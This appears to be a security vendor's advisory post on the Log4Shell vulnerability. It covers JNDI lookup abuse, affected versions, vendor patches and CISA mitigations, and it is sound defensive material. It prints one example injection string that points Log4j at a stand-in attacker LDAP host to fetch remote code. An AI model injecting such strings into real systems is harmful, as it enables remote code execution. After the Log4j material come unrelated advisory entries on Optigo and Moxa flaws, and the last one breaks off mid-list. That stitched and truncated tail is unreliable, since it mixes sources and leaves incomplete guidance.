The zero-day vulnerability uncovered in the popular open source Java-based Apache logging framework, Log4j, has sent security teams scrambling to mitigate the effects of this potentially devastating flaw.
Known as Log4Shell, the vulnerability (CVE-2021-44228) may be trivially abused by a threat actor using a specially crafted string to gain remote code execution on affected applications and services. It was assigned a CVSS score of 10.0. Apache has addressed the vulnerability in version 2.16.0, which has been available since Dec. 9. Log4j versions 2.14.1 and earlier are affected with varying degrees of severity, according to Apache.
In addition on Tuesday, a second vulnerability was discovered in Log4j version 2.15.0, CVE-2021-45046, that can enable denial-of-service attacks. According to Apache, the fix for CVE-2021-44228 was incomplete in certain non-default configurations. An attacker could use malicious input data using a JDNI lookup pattern to cause denial-of-service conditions. This second vulnerability was addressed in versions 2.12.2 and 2.16.0.
Organizations running products built with affected versions of Log4j should patch this vulnerability immediately. Proof-of-concept exploits have been shared online since news of the vulnerability broke late last week, and vendors including Cloudflare and Cisco have detected attacks since early December.
Given the ease of exploitation of this vulnerability, some early attacks have included the installation of crypt-mining software on vulnerable machines, or the botnets co-opting vulnerable computers. Ransomware attacks are not out of the question with this flaw, as are other code-injection attacks.
Here's the latest:
The vulnerability, which was found in Log4j versions 2.0-beta9 to 2.14.1 (version 1.x is no longer supported), affects a number of commercial and open source products used internet-wide, including Apache Struts, Elasticsearch, and VMware vCenter.
The vulnerability is trivial to exploit given the ease with which an attacker can inject a malicious string that would execute code from a remote server.
Java lookup mechanisms supported by Log4j include the Java Naming and Directory Interface (JNDI), DNS, and RMI, among others. Lookups check for the ${expression} syntax, find the value of the expression, and replace it.
An attacker can, via a HTTP request, inject a JNDI expression that will be logged and executed by Log4j. For example, if the log contains the ${expression} string, the lookup method will find and execute it. An attacker who is able to send their malicious request can force Log4j to download a malicious Java class from an attacker-controlled LDAP server, for example, and execute the malicious code from the attacker's site.
The malicious expression could look like this:
${jndi:ldap://evil.com/abc}
Log4j is the logging utility used in a large number of applications used in operational technology networks across industries. Industrial automation vendors have already begun patching their products and urging users to implement these updates, ramping up the urgency to fix this issue in a timely manner.
Prosys, for example, has already updated its OPC UA Simulation Server, Modbus Server, Historian, Browser, and Monitor products that were affected.
Siemens has also published an advisory that explains how Log4j affects its products, including Industrial Edge Management and more than a dozen other packages. Remediation information is also available.
Team82 has also worked to create a number of proof-of-concept exploits that vendor partners may use to test whether their products are vulnerable.
Dozens of other vendors have either published patches, mitigations, or lists of affected products. Some of these include internet giants such as Amazon, Cisco, IBM, Juniper Networks, Oracle, Splunk, and VMware, among others. Virtualization products from VMware, including the ESXi server have some OT applications that are impacted by Log4j; below, a Shodan search shows more than 95,000 ESXi installations online, while the second image shows a Team82 PoC triggering the vulnerability on VMware vCenter virtualization server.
Claroty products do not use the Log4j package and are not impacted by this vulnerability.
CISA recommends that organizations apply patches for affected applications as they're available. You should expect that ICS automation vendors will release advisories about vulnerable products in the near future as they conduct their diligence.
Knowing that it may not to be possible to patch systems in OT environments quickly, for any unpatched system, version 2.10 and above, CISA recommends setting log4j2.formatMsgNoLookups to true by adding -Dlog4j2.formatMsgNoLookups=True to the Java Virtual Machine command.
If you're a Claroty CTD customer, Team82 has also made available to users a new Snort rule that detects exploits against web servers. If you're receiving automated threat bundle updates, you already have detections in place. If you're manually applying threat bundles, you should download and apply them as soon as possible.
"To be clear, this vulnerability poses a severe risk," said CISA Director Jen Easterly in a statement. "We will only minimize potential impacts through collaborative efforts between government and the private sector. We urge all organizations to join us in this essential effort and take action."
CWE-1390 WEAK AUTHENTICATION:
The web server for ONS-S8 - Spectra Aggregation Switch includes an incomplete authentication process, which can lead to an attacker authenticating without a password.
Optigo Networks recommends users always use a unique management VLAN for the port on the ONS-S8 that is used to connect to OneView.
Optigo Networks also recommends users implement at least one of the following additional mitigations:
Use a dedicated NIC on the BMS computer and exclusively this computer for connecting to OneView to manage your OT network configuration.
Set up a router firewall with a white list for the devices permitted to access OneView.
Connect to OneView via secure VPN.
CVSS v3: 9.1
CWE-98: IMPROPER CONTROL OF FILENAME FOR INCLUDE/REQUIRE STATEMENT IN PHP PROGRAM ('PHP REMOTE FILE INCLUSION')
The web service for ONS-S8 - Spectra Aggregation Switch includes functions which do not properly validate user input, allowing an attacker to traverse directories, bypass authentication, and execute remote code. ONS-S8 - Spectra Aggregation Switch: 1.3.7 and prior are affected.
Optigo Networks recommends users always use a unique management VLAN for the port on the ONS-S8 that is used to connect to OneView.
Optigo Networks also recommends users implement at least one of the following additional mitigations:
Use a dedicated NIC on the BMS computer and exclusively this computer for connecting to OneView to manage your OT network configuration.
Set up a router firewall with a white list for the devices permitted to access OneView.
Connect to OneView via secure VPN.
CVSS v3: 9.8
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition:
This vulnerability occurs when an attacker exploits a race condition between the time a file is checked and the time it is used (TOCTOU). By exploiting this race condition, an attacker can write arbitrary files to the system. This could allow the attacker to execute malicious code and potentially cause file losses.
CVSS v3: 5.3
CWE-24: Path Traversal:
The vulnerability allows an attacker to craft MQTT messages that include relative path traversal sequences, enabling them to read arbitrary files on the system. This could lead to the disclosure of sensitive information, such as configuration files and JWT signing secrets.
CVSS v3: 6.5
CWE-313: CLEARTEXT STORAGE IN A FILE OR ON DISK
The configuration file stores credentials in cleartext. An attacker with local access rights can read or modify the configuration file, potentially resulting in the service being abused because of sensitive information exposure.
Moxa recommends the following to address the vulnerabilities:
CVSS v3: 5.5